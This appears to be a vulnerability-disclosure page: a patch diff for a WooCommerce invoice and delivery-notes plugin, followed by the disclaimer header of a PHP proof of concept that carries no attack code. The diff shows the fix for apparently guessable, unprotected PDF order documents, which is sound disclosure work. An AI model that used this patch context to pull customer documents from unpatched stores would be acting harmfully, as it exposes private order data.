+					body: new URLSearchParams({
+						action: 'wcdn_generate_bulk_pdf',
+						order_ids: btn.dataset.orderIds,
+						template: btn.dataset.template,
+						_wpnonce: btn.dataset.nonce
+					})
+				})
+				.then(function(r) {
+					return r.json();
+				})
+				.then(function(data) {
+					if (data.success && data.data.url) {
+						window.location.href = data.data.url;
+					} else {
+						alert(data.data && data.data.message ? data.data.message :
+							<?php echo wp_json_encode( __( 'PDF generation failed.', 'woocommerce-delivery-notes' ) ); ?>
+							);
+						btn.disabled = false;
+						btn.textContent = btn.dataset.label;
+					}
+				})
+				.catch(function() {
+					alert(
+						<?php echo wp_json_encode( __( 'PDF generation failed.', 'woocommerce-delivery-notes' ) ); ?>);
+					btn.disabled = false;
+					btn.textContent = btn.dataset.label;
+				});
+		});
+	})();
+	</script>
+
+		<?php if ( Settings::get( 'autoPrintDialog' ) ) : ?>
+	<script>
+	window.addEventListener('DOMContentLoaded', function() {
+		var overlay = document.getElementById('wcdn-print-overlay');
+		if (overlay) {
+			overlay.classList.add('is-hidden');
+		}
+		window.print();
+	});
+	</script>
+	<?php endif; ?>
+
 </body>

 </html>
@@ -704,65 +826,66 @@
 	}

 	/**
-	 * Add extra data after order items.
+	 * AJAX handler: generate a merged PDF for multiple orders on demand.
 	 *
-	 * @param WC_Order $order Order object.
 	 * @return void
-	 * @since 7.0
+	 * @since 7.1.2
 	 */
-	public function wdn_add_extra_data_after_items( $order ) {
+	public function ajax_generate_bulk_pdf() {
+
+		if ( ! check_ajax_referer( 'wcdn_bulk_pdf', '_wpnonce', false ) || ! current_user_can( 'manage_woocommerce' ) ) { // phpcs:ignore WordPress.WP.Capabilities.Unknown
+			wp_send_json_error( array( 'message' => __( 'Authentication failed.', 'woocommerce-delivery-notes' ) ) );
+		}
+
+		$order_ids_raw = isset( $_POST['order_ids'] ) ? sanitize_text_field( wp_unslash( $_POST['order_ids'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing -- nonce verified above
+		$template      = isset( $_POST['template'] ) ? sanitize_text_field( wp_unslash( $_POST['template'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing
+
+		if ( ! in_array( $template, Template_Engine::get_template_keys(), true ) ) {
+			wp_send_json_error( array( 'message' => __( 'Invalid template.', 'woocommerce-delivery-notes' ) ) );
+		}
+
+		$order_ids = array_values( array_filter( array_map( 'absint', explode( ',', $order_ids_raw ) ) ) );
+
+		if ( empty( $order_ids ) ) {
+			wp_send_json_error( array( 'message' => __( 'No orders provided.', 'woocommerce-delivery-notes' ) ) );
+		}
+
+		$documents = array();

-		/**
-		 * Local pickup plus plugin is active
-		 */
-		if ( class_exists( 'WC_Local_Pickup_Plus' ) ) {
+		foreach ( $order_ids as $order_id ) {

-			$cdn_local_pickup_plugin_plugins_version = wc_local_pickup_plus()->get_version();
+			$order = wc_get_order( $order_id );

-			if ( version_compare( $cdn_local_pickup_plugin_plugins_version, '2.0.0', '>=' ) ) {
-				$cdn_local_pickup_object           = new WC_Local_Pickup_Plus_Orders();
-				$local_pickup                      = wc_local_pickup_plus();
-				$cdn_local_pickup_locations        = $cdn_local_pickup_object->get_order_pickup_data( $order );
-				$cdn_local_pickup__shipping_object = $local_pickup->get_shipping_method_instance();
-				$this->cdn_print_local_pickup_address( $cdn_local_pickup_locations, $cdn_local_pickup__shipping_object );
+			if ( ! $order ) {
+				continue;
 			}
+
+			$documents[] = array(
+				'order_id' => $order_id,
+				'data'     => array(
+					'order'    => Templates_Api::format_order_data( $order, false, $template ),
+					'shop'     => Templates_Api::get_store_data(),
+					'document' => Templates_Api::get_document_data(),
+					'settings' => Templates::template( $template ),
+					'template' => $template,
+				),
+			);
 		}
-	}

-	/**
-	 * Print local pickup address.
-	 *
-	 * @param array  $cdn_local_pickup_locations Pickup locations.
-	 * @param object $shipping_method            Shipping method instance.
-	 * @return void
-	 * @since 7.0
-	 */
-	public function cdn_print_local_pickup_address( $cdn_local_pickup_locations, $shipping_method ) {
+		if ( empty( $documents ) ) {
+			wp_send_json_error( array( 'message' => __( 'No valid orders found.', 'woocommerce-delivery-notes' ) ) );
+		}

-		$package_number = 1;
-		$packages_count = count( $cdn_local_pickup_locations );
-		foreach ( $cdn_local_pickup_locations as $pickup_meta ) :
-			?>
-<div>
-			<?php if ( $packages_count > 1 ) : ?>
-	<h5><?php echo wp_kses_post( sprintf( is_rtl() ? '#%2$s %1$s' : '%1$s #%2$s', esc_html( $shipping_method->get_method_title() ), $package_number ) ); ?>
-	</h5>
-	<?php endif; ?>
-	<ul>
-			<?php foreach ( $pickup_meta as $label => $value ) : ?>
-		<li>
-				<?php if ( is_rtl() ) : ?>
-					<?php echo wp_kses_post( $value ); ?> <strong>:<?php echo esc_html( $label ); ?></strong>
-			<?php else : ?>
-			<strong><?php echo esc_html( $label ); ?>:</strong> <?php echo wp_kses_post( $value ); ?>
-			<?php endif; ?>
-		</li>
-		<?php endforeach; ?>
-	</ul>
-			<?php ++$package_number; ?>
-</div>
-			<?php
-			endforeach;
+		$pdf_file = Service::pdf()->generate( $order_ids, $template, $documents );
+
+		if ( ! $pdf_file ) {
+			wp_send_json_error( array( 'message' => __( 'PDF generation failed. Please try with fewer orders or check your server memory limit.', 'woocommerce-delivery-notes' ) ) );
+		}
+
+		$upload_dir = wp_upload_dir();
+		$pdf_url    = trailingslashit( $upload_dir['baseurl'] ) . 'wcdn/' . $template . '/' . basename( $pdf_file );
+
+		wp_send_json_success( array( 'url' => $pdf_url ) );
 	}

 	/**
--- a/woocommerce-delivery-notes/includes/helpers/class-utils.php
+++ b/woocommerce-delivery-notes/includes/helpers/class-utils.php
@@ -14,6 +14,7 @@

 use TycheWCDNHelpersSettings;
 use TycheWCDNHelpersTemplates;
+use TycheWCDNServicesTemplate_Engine;

 defined( 'ABSPATH' ) || exit;

@@ -510,40 +511,37 @@
 			}
 		}

+		// Helper: extract plain status values from get_template_order_statuses(),
+		// which applies the wcdn_allowed_statuses_[template] filter.
+		$allowed = function ( $template ) {
+			return array_column( Template_Engine::get_template_order_statuses( $template ), 'value' );
+		};
+
 		// Invoice.
-		if ( in_array( $status, array( 'pending', 'on-hold', 'processing', 'completed' ), true ) ) {
+		if ( in_array( $status, $allowed( 'invoice' ), true ) ) {
 			$types[] = 'invoice';
 		}

-		// Receipt (only after payment).
-		if ( $order->is_paid() ) {
+		// Receipt.
+		if ( in_array( $status, $allowed( 'receipt' ), true ) ) {
 			$types[] = 'receipt';
 		}

 		// Shipping documents (only for physical products).
 		if ( $has_physical_items ) {

-			$types[] = 'packingslip';
+			if ( in_array( $status, $allowed( 'packingslip' ), true ) ) {
+				$types[] = 'packingslip';
+			}

-			// Optional: stricter delivery note logic.
-			if ( in_array( $status, array( 'processing', 'completed' ), true ) ) {
+			if ( in_array( $status, $allowed( 'deliverynote' ), true ) ) {
 				$types[] = 'deliverynote';
 			}
 		}

-		// Credit note.
-		$refunded_total = (float) $order->get_total_refunded();
-
-		if ( $refunded_total > 0 ) {
-
-			// Partial refund vs full refund.
-			if ( $refunded_total < (float) $order->get_total() ) {
-				// Partial refund → still show credit note.
-				$types[] = 'creditnote';
-			} else {
-				// Full refund → definitely show credit note.
-				$types[] = 'creditnote';
-			}
+		// Credit note (refund-based, status acts as secondary gate).
+		if ( (float) $order->get_total_refunded() > 0 ) {
+			$types[] = 'creditnote';
 		}

 		return apply_filters( 'wcdn_template_types_from_order', $types, $order );
--- a/woocommerce-delivery-notes/includes/integrations/class-coderockz-woo-delivery.php
+++ b/woocommerce-delivery-notes/includes/integrations/class-coderockz-woo-delivery.php
@@ -0,0 +1,143 @@
+<?php
+/**
+ * Print Invoice & Delivery Notes for WooCommerce.
+ *
+ * Delivery & Pickup Date Time for WooCommerce (Coderockz) Integration.
+ *
+ * @author      Tyche Softwares
+ * @package     WCDN/Integrations
+ * @category    Classes
+ * @since       7.1.2
+ */
+
+namespace TycheWCDNIntegrations;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * Coderockz Woo Delivery integration class.
+ *
+ * Appends delivery/pickup date and time fields to the WCDN order info
+ * fields section for orders placed with the Delivery & Pickup Date Time
+ * for WooCommerce plugin (Coderockz). Respects the plugin's own label
+ * and date/time format settings.
+ *
+ * @since 7.1.2
+ */
+class Coderockz_Woo_Delivery {
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 7.1.2
+	 */
+	public function __construct() {
+		add_filter( 'wcdn_order_info_fields', array( $this, 'append_delivery_fields' ), 10, 2 );
+	}
+
+	/**
+	 * Append delivery/pickup date and time to the order info fields.
+	 *
+	 * @param array     $fields Order info fields.
+	 * @param WC_Order $order  Order object.
+	 * @return array
+	 * @since 7.1.2
+	 */
+	public function append_delivery_fields( $fields, $order ) {
+
+		if ( ! $order instanceof WC_Order ) {
+			return $fields;
+		}
+
+		$delivery_date_settings = get_option( 'coderockz_woo_delivery_date_settings', array() );
+		$pickup_date_settings   = get_option( 'coderockz_woo_delivery_pickup_date_settings', array() );
+		$delivery_time_settings = get_option( 'coderockz_woo_delivery_time_settings', array() );
+		$pickup_time_settings   = get_option( 'coderockz_woo_delivery_pickup_settings', array() );
+
+		// Labels — fall back to translatable defaults.
+		$delivery_date_label = ! empty( $delivery_date_settings['field_label'] )
+			? stripslashes( $delivery_date_settings['field_label'] )
+			: __( 'Delivery Date', 'woocommerce-delivery-notes' );
+
+		$delivery_time_label = ! empty( $delivery_time_settings['field_label'] )
+			? stripslashes( $delivery_time_settings['field_label'] )
+			: __( 'Delivery Time', 'woocommerce-delivery-notes' );
+
+		$pickup_date_label = ! empty( $pickup_date_settings['pickup_field_label'] )
+			? stripslashes( $pickup_date_settings['pickup_field_label'] )
+			: __( 'Pickup Date', 'woocommerce-delivery-notes' );
+
+		$pickup_time_label = ! empty( $pickup_time_settings['field_label'] )
+			? stripslashes( $pickup_time_settings['field_label'] )
+			: __( 'Pickup Time', 'woocommerce-delivery-notes' );
+
+		// Date formats.
+		$delivery_date_format = ! empty( $delivery_date_settings['date_format'] ) ? $delivery_date_settings['date_format'] : 'F j, Y';
+		if ( ! empty( $delivery_date_settings['add_weekday_name'] ) ) {
+			$delivery_date_format = 'l ' . $delivery_date_format;
+		}
+
+		$pickup_date_format = ! empty( $pickup_date_settings['date_format'] ) ? $pickup_date_settings['date_format'] : 'F j, Y';
+		if ( ! empty( $pickup_date_settings['add_weekday_name'] ) ) {
+			$pickup_date_format = 'l ' . $pickup_date_format;
+		}
+
+		// Time formats.
+		$delivery_time_format = ( '24' === ( $delivery_time_settings['time_format'] ?? '12' ) ) ? 'H:i' : 'h:i A';
+		$pickup_time_format   = ( '24' === ( $pickup_time_settings['time_format'] ?? '12' ) ) ? 'H:i' : 'h:i A';
+
+		// Delivery date.
+		$delivery_date_raw = $order->get_meta( 'delivery_date', true );
+		if ( ! empty( $delivery_date_raw ) ) {
+			$fields['coderockz_delivery_date'] = array(
+				'label' => $delivery_date_label,
+				'value' => date_i18n( $delivery_date_format, strtotime( $delivery_date_raw ) ),
+			);
+		}
+
+		// Delivery time.
+		$delivery_time_raw = $order->get_meta( 'delivery_time', true );
+		if ( ! empty( $delivery_time_raw ) ) {
+			$fields['coderockz_delivery_time'] = array(
+				'label' => $delivery_time_label,
+				'value' => self::format_time_slot( $delivery_time_raw, $delivery_time_format ),
+			);
+		}
+
+		// Pickup date.
+		$pickup_date_raw = $order->get_meta( 'pickup_date', true );
+		if ( ! empty( $pickup_date_raw ) ) {
+			$fields['coderockz_pickup_date'] = array(
+				'label' => $pickup_date_label,
+				'value' => date_i18n( $pickup_date_format, strtotime( $pickup_date_raw ) ),
+			);
+		}
+
+		// Pickup time.
+		$pickup_time_raw = $order->get_meta( 'pickup_time', true );
+		if ( ! empty( $pickup_time_raw ) ) {
+			$fields['coderockz_pickup_time'] = array(
+				'label' => $pickup_time_label,
+				'value' => self::format_time_slot( $pickup_time_raw, $pickup_time_format ),
+			);
+		}
+
+		return $fields;
+	}
+
+	/**
+	 * Format a time slot string (e.g. "08:00 - 09:00") using the given PHP time format.
+	 *
+	 * @param string $raw    Raw time value from order meta.
+	 * @param string $format PHP date format string.
+	 * @return string
+	 * @since 7.1.2
+	 */
+	private static function format_time_slot( $raw, $format ) {
+		$parts = explode( ' - ', $raw );
+		if ( ! isset( $parts[1] ) ) {
+			return date_i18n( $format, strtotime( $parts[0] ) );
+		}
+		return date_i18n( $format, strtotime( $parts[0] ) ) . ' - ' . date_i18n( $format, strtotime( $parts[1] ) );
+	}
+}
--- a/woocommerce-delivery-notes/includes/integrations/class-deposits-partial-payments.php
+++ b/woocommerce-delivery-notes/includes/integrations/class-deposits-partial-payments.php
@@ -0,0 +1,97 @@
+<?php
+/**
+ * Print Invoice & Delivery Notes for WooCommerce.
+ *
+ * Deposits & Partial Payments for WooCommerce Pro Integration.
+ *
+ * @author      Tyche Softwares
+ * @package     WCDN/Integrations
+ * @category    Classes
+ * @since       7.1.3
+ */
+
+namespace TycheWCDNIntegrations;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * Deposits integration class.
+ *
+ * Adds Deposit and Future Payments rows to WCDN document totals
+ * when the Deposits & Partial Payments for WooCommerce Pro plugin is active.
+ *
+ * @since 7.1.2
+ */
+class Deposits_Partial_Payments {
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 7.1.2
+	 */
+	public function __construct() {
+		add_filter( 'wcdn_order_totals', array( $this, 'append_deposit_totals' ), 10, 3 );
+	}
+
+	/**
+	 * Whether a WC_Order has deposit data from the awcdp plugin.
+	 *
+	 * @param WC_Order $wc_order Order object.
+	 * @return bool
+	 */
+	private function has_deposit( $wc_order ) {
+		return 'yes' === $wc_order->get_meta( '_awcdp_deposits_order_has_deposit', true );
+	}
+
+	/**
+	 * Append Deposit and Future Payments rows to the totals array,
+	 * mirroring the values shown on the Edit Order page.
+	 *
+	 * @param array          $totals    Existing totals array.
+	 * @param WC_Order|null $wc_order  Order object.
+	 * @param string         $_template Template key — required by hook signature, not used here.
+	 * @return array
+	 */
+	// phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed -- required by wcdn_order_totals filter signature.
+	public function append_deposit_totals( $totals, $wc_order, $_template ) {
+		if ( ! $wc_order instanceof WC_Order ) {
+			return $totals;
+		}
+
+		if ( ! $this->has_deposit( $wc_order ) ) {
+			return $totals;
+		}
+
+		$currency = $wc_order->get_currency();
+		$deposit  = floatval( $wc_order->get_meta( '_awcdp_deposits_deposit_amount', true ) );
+
+		// _awcdp_deposits_second_payment is the scheduled future-payment total written at checkout
+		// and is always persisted. awcdp_deposits_balance_amount is updated post-save via a hook
+		// without a follow-up save(), so it can hold a stale full-order-total value.
+		$balance = floatval( $wc_order->get_meta( '_awcdp_deposits_second_payment', true ) );
+
+		if ( $deposit > 0 ) {
+			$totals['awcdp_deposit'] = wc_price( $deposit, array( 'currency' => $currency ) );
+		}
+
+		if ( $balance > 0 ) {
+			$totals['awcdp_future_payments'] = wc_price( $balance, array( 'currency' => $currency ) );
+		}
+
+		// Remove any "Partial Payment for order X" fee lines AWCDP added to the main order —
+		// they duplicate the deposit/balance rows we just added above.
+		if ( ! empty( $totals['fee_lines'] ) ) {
+			$totals['fee_lines'] = array_values(
+				array_filter(
+					$totals['fee_lines'],
+					function ( $fee ) {
+						return 0 !== strpos( $fee['label'], 'Partial Payment for order' );
+					}
+				)
+			);
+		}
+
+		return $totals;
+	}
+
+}
--- a/woocommerce-delivery-notes/includes/integrations/class-dfw-deposits.php
+++ b/woocommerce-delivery-notes/includes/integrations/class-dfw-deposits.php
@@ -0,0 +1,99 @@
+<?php
+/**
+ * Print Invoice & Delivery Notes for WooCommerce.
+ *
+ * Deposits For WooCommerce Integration.
+ *
+ * @author      Tyche Softwares
+ * @package     WCDN/Integrations
+ * @category    Classes
+ * @since       7.1.3
+ */
+
+namespace TycheWCDNIntegrations;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * DFW Deposits integration class.
+ *
+ * Adds Deposit and Future Payment rows to WCDN document totals
+ * when the Deposits For WooCommerce plugin is active.
+ *
+ * @since 7.1.2
+ */
+class DFW_Deposits {
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 7.1.2
+	 */
+	public function __construct() {
+		add_filter( 'wcdn_order_totals', array( $this, 'append_deposit_totals' ), 10, 3 );
+	}
+
+	/**
+	 * Append Deposit, Future Payment, and Total Cart Amount rows to the totals array,
+	 * mirroring the values shown on the Edit Order page.
+	 *
+	 * Handles two DFW deposit flows:
+	 *  - Order-level (cart deposit): reads _deposit and _future_payments order meta.
+	 *  - Item-level (per-product deposit): sums full_amount − line_subtotal per deposit item
+	 *    and computes the total cart amount (full_amount + non-deposit subtotals + shipping − discounts).
+	 *
+	 * @param array          $totals    Existing totals array.
+	 * @param WC_Order|null $wc_order  Order object.
+	 * @param string         $_template Template key — required by hook signature, not used here.
+	 * @return array
+	 */
+	public function append_deposit_totals( $totals, $wc_order, $_template ) { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed -- required by wcdn_order_totals filter signature.
+		if ( ! $wc_order instanceof WC_Order ) {
+			return $totals;
+		}
+
+		$currency = $wc_order->get_currency();
+
+		// Order-level deposit (cart deposit flow saves _has_order_deposit meta).
+		if ( DFW_Manage_Orders::dfw_has_order_deposit( $wc_order ) ) {
+			$deposit = $wc_order->get_meta( '_deposit' );
+			$future  = $wc_order->get_meta( '_future_payments' );
+
+			if ( is_numeric( $deposit ) && $deposit > 0 ) {
+				$totals['dfw_deposit'] = wc_price( $deposit, array( 'currency' => $currency ) );
+			}
+
+			if ( is_numeric( $future ) && $future > 0 ) {
+				$totals['dfw_future_payment'] = wc_price( $future, array( 'currency' => $currency ) );
+			}
+
+			return $totals;
+		}
+
+		// Item-level deposit (per-product deposit flow stores has_deposit on each item).
+		if ( DFW_Manage_Orders::has_deposit( $wc_order ) ) {
+			$remaining  = 0.0;
+			$total_cart = 0.0;
+
+			foreach ( $wc_order->get_items() as $item ) {
+				if ( ! empty( $item['has_deposit'] ) && isset( $item['full_amount'] ) ) {
+					$full        = floatval( $item['full_amount'] );
+					$remaining  += $full - $wc_order->get_line_subtotal( $item, false );
+					$total_cart += $full;
+				} else {
+					$total_cart += $wc_order->get_line_subtotal( $item, false );
+				}
+			}
+
+			$total_cart += $wc_order->get_shipping_total();
+			$total_cart -= $wc_order->get_discount_total();
+
+			if ( $remaining > 0 ) {
+				$totals['dfw_future_payment']    = wc_price( $remaining, array( 'currency' => $currency ) );
+				$totals['dfw_total_cart_amount'] = wc_price( $total_cart, array( 'currency' => $currency ) );
+			}
+		}
+
+		return $totals;
+	}
+}
--- a/woocommerce-delivery-notes/includes/integrations/class-emails.php
+++ b/woocommerce-delivery-notes/includes/integrations/class-emails.php
@@ -121,9 +121,6 @@

 		foreach ( $templates as $template ) {

-			$file_name = $order->get_meta( '_wcdn_' . $template . '_pdf' );
-			$file_path = $upload_dir['basedir'] . '/wcdn/' . $template . '/' . $file_name;
-
 			// Template enabled.
 			if ( ! Templates::get( $template, 'enabled' ) ) {
 				continue;
@@ -134,7 +131,23 @@
 				continue;
 			}

-			if ( ! $file_name || ! $filesystem->exists( $file_path ) ) {
+			// Resolve all attachment targets before generating the PDF.
+			// Generating a PDF unconditionally loads fonts and can exhaust
+			// memory on sites with large locale fonts (e.g. CJK scripts).
+			$attach_customer = $this->should_attach_template_for_customer( $template, $email_id, $order );
+			$attach_admin    = (bool) Templates::get( $template, 'attachAdminEmail' );
+			$attach_custom   = (bool) Templates::get( $template, 'attachCustomEmails' );
+
+			$file_name  = $order->get_meta( '_wcdn_' . $template . '_pdf' );
+			$file_path  = $upload_dir['basedir'] . '/wcdn/' . $template . '/' . $file_name;
+			$has_cached = $file_name && $filesystem->exists( $file_path );
+
+			// Skip generation entirely when no one needs the PDF.
+			if ( ! $has_cached && ! $attach_customer && ! $attach_admin && ! $attach_custom ) {
+				continue;
+			}
+
+			if ( ! $has_cached ) {
 				/**
 				 * Build document data.
 				 */
@@ -156,19 +169,17 @@
 				);
 			}

-			if ( $this->should_attach_template_for_customer( $template, $email_id, $order ) ) {
-				if ( $filesystem->exists( $file_path ) ) {
-					$attachments[] = $file_path;
-				}
+			if ( $attach_customer && $filesystem->exists( $file_path ) ) {
+				$attachments[] = $file_path;
 			}

 			// To all Administrators.
-			if ( Templates::get( $template, 'attachAdminEmail' ) ) {
+			if ( $attach_admin ) {
 				$this->send_to_custom_email( wcdn_get_all_administrator_emails(), $order, $file_path, $template );
 			}

 			// Custom Email Addresses.
-			if ( Templates::get( $template, 'attachCustomEmails' ) ) {
+			if ( $attach_custom ) {
 				$this->send_to_custom_email( Templates::get( $template, 'customEmailAddresses' ), $order, $file_path, $template );
 			}
 		}
@@ -338,7 +349,8 @@
 				true
 			);

-			$label = Utils::get_label_for_template_type( $type );
+			$label_data    = Utils::template_label( $type );
+			$document_name = $label_data['labels']['name'] ?? $type;

 			// Customer email.
 			if ( $show_customer_email_link && ! $sent_to_admin ) {
@@ -348,7 +360,7 @@
 					$this->print_link_in_email(
 						$plain_text,
 						$url,
-						Settings::get( 'customerEmailText' ) . ' ' . $label
+						Settings::get( 'customerEmailText' ) . ' ' . $document_name
 					);
 				}
 			}
@@ -359,7 +371,7 @@
 				$this->print_link_in_email(
 					$plain_text,
 					$url,
-					Settings::get( 'adminEmailText' ) . ' ' . $label
+					Settings::get( 'adminEmailText' ) . ' ' . $document_name
 				);
 			}
 		}
@@ -385,30 +397,8 @@
 			return;
 		}

-		?>
-<p>
-	<strong>
-		<?php
-			echo esc_html(
-				apply_filters(
-					'wcdn_print_text_in_email',
-					__( 'Print:', 'woocommerce-delivery-notes' )
-				)
-			);
-		?>
-	</strong>
-
-	<a href="<?php echo esc_url( $url ); ?>">
-		<?php
-			echo esc_html(
-				apply_filters(
-					'wcdn_print_view_in_browser_text_in_email',
-					$link_text
-				)
-			);
-		?>
-	</a>
-</p>
-		<?php
+		$text = esc_html( apply_filters( 'wcdn_print_view_in_browser_text_in_email', $link_text ) );
+		$href = esc_url( $url );
+		echo wp_kses_post( '<p><a href="' . $href . '">' . $text . '</a></p>' );
 	}
 }
 No newline at end of file
--- a/woocommerce-delivery-notes/includes/integrations/class-local-pickup-plus.php
+++ b/woocommerce-delivery-notes/includes/integrations/class-local-pickup-plus.php
@@ -0,0 +1,79 @@
+<?php
+/**
+ * Print Invoice & Delivery Notes for WooCommerce.
+ *
+ * WooCommerce Local Pickup Plus Integration.
+ *
+ * @author      Tyche Softwares
+ * @package     WCDN/Integrations
+ * @category    Classes
+ * @since       7.1.3
+ */
+
+namespace TycheWCDNIntegrations;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * Local Pickup Plus integration class.
+ *
+ * Adds pickup location details (name, address, phone, appointment)
+ * to the WCDN order info fields section for orders using the
+ * WooCommerce Local Pickup Plus shipping method (v2.0+).
+ *
+ * @since 7.1.2
+ */
+class Local_Pickup_Plus {
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 7.1.2
+	 */
+	public function __construct() {
+		add_filter( 'wcdn_order_info_fields', array( $this, 'append_pickup_fields' ), 10, 2 );
+	}
+
+	/**
+	 * Append pickup location details to the order info fields.
+	 *
+	 * Uses the plugin's own Orders handler to retrieve pre-formatted
+	 * pickup data and maps each label/value pair into the WCDN fields array.
+	 * Supports multiple pickup packages via key suffixes.
+	 *
+	 * @param array     $fields Order info fields.
+	 * @param WC_Order $order  Order object.
+	 * @return array
+	 * @since 7.1.2
+	 */
+	public function append_pickup_fields( $fields, $order ) {
+
+		if ( ! $order instanceof WC_Order || ! class_exists( 'WC_Local_Pickup_Plus_Orders' ) ) {
+			return $fields;
+		}
+
+		$pickup_handler   = new WC_Local_Pickup_Plus_Orders();
+		$pickup_locations = $pickup_handler->get_order_pickup_data( $order );
+
+		if ( empty( $pickup_locations ) ) {
+			return $fields;
+		}
+
+		$package_index = 0;
+
+		foreach ( $pickup_locations as $pickup_meta ) {
+			$suffix = $package_index > 0 ? '_' . $package_index : '';
+			++$package_index;
+
+			foreach ( $pickup_meta as $label => $value ) {
+				$key            = 'pickup_' . sanitize_key( $label ) . $suffix;
+				$fields[ $key ] = array(
+					'label' => $label,
+					'value' => wp_strip_all_tags( $value ),
+				);
+			}
+		}
+
+		return $fields;
+	}
+}
--- a/woocommerce-delivery-notes/includes/services/class-pdf.php
+++ b/woocommerce-delivery-notes/includes/services/class-pdf.php
@@ -244,8 +244,8 @@
 			'600' => 'Inter-SemiBold.ttf',
 			'700' => 'Inter-Bold.ttf',
 		);
-		foreach ( $inter_weights as $weight => $filename ) {
-			$path = $inter_dir . $filename;
+		foreach ( $inter_weights as $weight => $font_file ) {
+			$path = $inter_dir . $font_file;
 			if ( file_exists( $path ) ) {
 				$dompdf->getFontMetrics()->registerFont(
 					array(
@@ -261,7 +261,7 @@

 		$dompdf->loadHtml( $html, 'UTF-8' );

-		$paper_size  = apply_filters( 'wcdn_pdf_paper_size', 'A4', $order_id );
+		$paper_size  = apply_filters( 'wcdn_pdf_paper_size', Settings::get( 'pdfPaperSize' ), $order_id );
 		$orientation = apply_filters( 'wcdn_pdf_orientation', 'portrait', $order_id );

 		$dompdf->setPaper( $paper_size, $orientation );
@@ -308,10 +308,48 @@
 			true
 		);

+		$base     = preg_replace( '/.pdf$/i', '', $filename );
+		$token    = $this->get_secure_token( $order_id, $template, $order );
+		$filename = $base . '-' . $token . '.pdf';
+
 		return apply_filters( 'wcdn_pdf_filename', $filename, $order_id, $template );
 	}

 	/**
+	 * Get or create a cryptographic token for a given order and template.
+	 *
+	 * The token is generated once using random_bytes and stored in order meta
+	 * so the filename remains stable across subsequent calls while staying
+	 * unguessable even when the order number is known.
+	 *
+	 * @param int            $order_id Order ID.
+	 * @param string         $template Template key.
+	 * @param WC_Order|null $order    Optional pre-loaded order object.
+	 * @return string 24-character lowercase hex string.
+	 * @since 7.1.2
+	 */
+	protected function get_secure_token( $order_id, $template, $order = null ) {
+
+		if ( null === $order ) {
+			$order = wc_get_order( $order_id );
+		}
+
+		$meta_key = '_wcdn_' . $template . '_pdf_token';
+		$token    = $order ? $order->get_meta( $meta_key ) : '';
+
+		if ( ! $token ) {
+			$token = bin2hex( random_bytes( 12 ) );
+
+			if ( $order ) {
+				$order->update_meta_data( $meta_key, $token );
+				$order->save();
+			}
+		}
+
+		return $token;
+	}
+
+	/**
 	 * Get PDF URL.
 	 *
 	 * @param int    $order_id Order ID.
@@ -376,17 +414,21 @@
 			$filesystem->put_contents( $index_file, '', FS_CHMOD_FILE );
 		}

-		// Apache protection.
+		// Apache protection — prevent directory listing only.
+		// PDF filenames include a cryptographic token so direct URLs are
+		// unguessable; blocking them via FilesMatch would break the download
+		// button on Apache hosts.
 		$htaccess_file = trailingslashit( $dir ) . '.htaccess';
+		$correct_rules = "Options -Indexesn";

-		if ( ! $filesystem->exists( $htaccess_file ) ) {
-
-			$rules  = "Options -Indexesn";
-			$rules .= "<FilesMatch "\.pdf$">n";
-			$rules .= "Require all deniedn";
-			$rules .= '</FilesMatch>';
-
-			$filesystem->put_contents( $htaccess_file, $rules, FS_CHMOD_FILE );
+		if ( $filesystem->exists( $htaccess_file ) ) {
+			// Heal existing files that contain the old deny rule.
+			$current = $filesystem->get_contents( $htaccess_file );
+			if ( false !== strpos( $current, 'Require all denied' ) ) {
+				$filesystem->put_contents( $htaccess_file, $correct_rules, FS_CHMOD_FILE );
+			}
+		} else {
+			$filesystem->put_contents( $htaccess_file, $correct_rules, FS_CHMOD_FILE );
 		}
 	}
 }
--- a/woocommerce-delivery-notes/includes/services/template/class-template-engine.php
+++ b/woocommerce-delivery-notes/includes/services/template/class-template-engine.php
@@ -389,6 +389,7 @@

 		self::$layouts_cache = array(
 			'invoice'      => array(
+				'documentZoom',
 				'logo',
 				'documentTitle',
 				'shopName',
@@ -408,6 +409,7 @@
 				'shippingMethod',
 				'showProductCharges',
 				'showProductImages',
+				'productName',
 				'payNow',
 				'customerNote',
 				'complimentaryClose',
@@ -415,6 +417,7 @@
 				'footer',
 			),
 			'receipt'      => array(
+				'documentZoom',
 				'logo',
 				'documentTitle',
 				'shopName',
@@ -435,6 +438,7 @@
 				'shippingMethod',
 				'showProductCharges',
 				'showProductImages',
+				'productName',
 				'watermark',
 				'customerNote',
 				'complimentaryClose',
@@ -442,6 +446,7 @@
 				'footer',
 			),
 			'deliverynote' => array(
+				'documentZoom',
 				'logo',
 				'documentTitle',
 				'shopName',
@@ -458,15 +463,18 @@
 				'orderNumber',
 				'orderDate',
 				'shippingMethod',
+				'paymentMethod',
 				'displayPriceInProductDetailsTable',
 				'showProductCharges',
 				'showProductIma

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
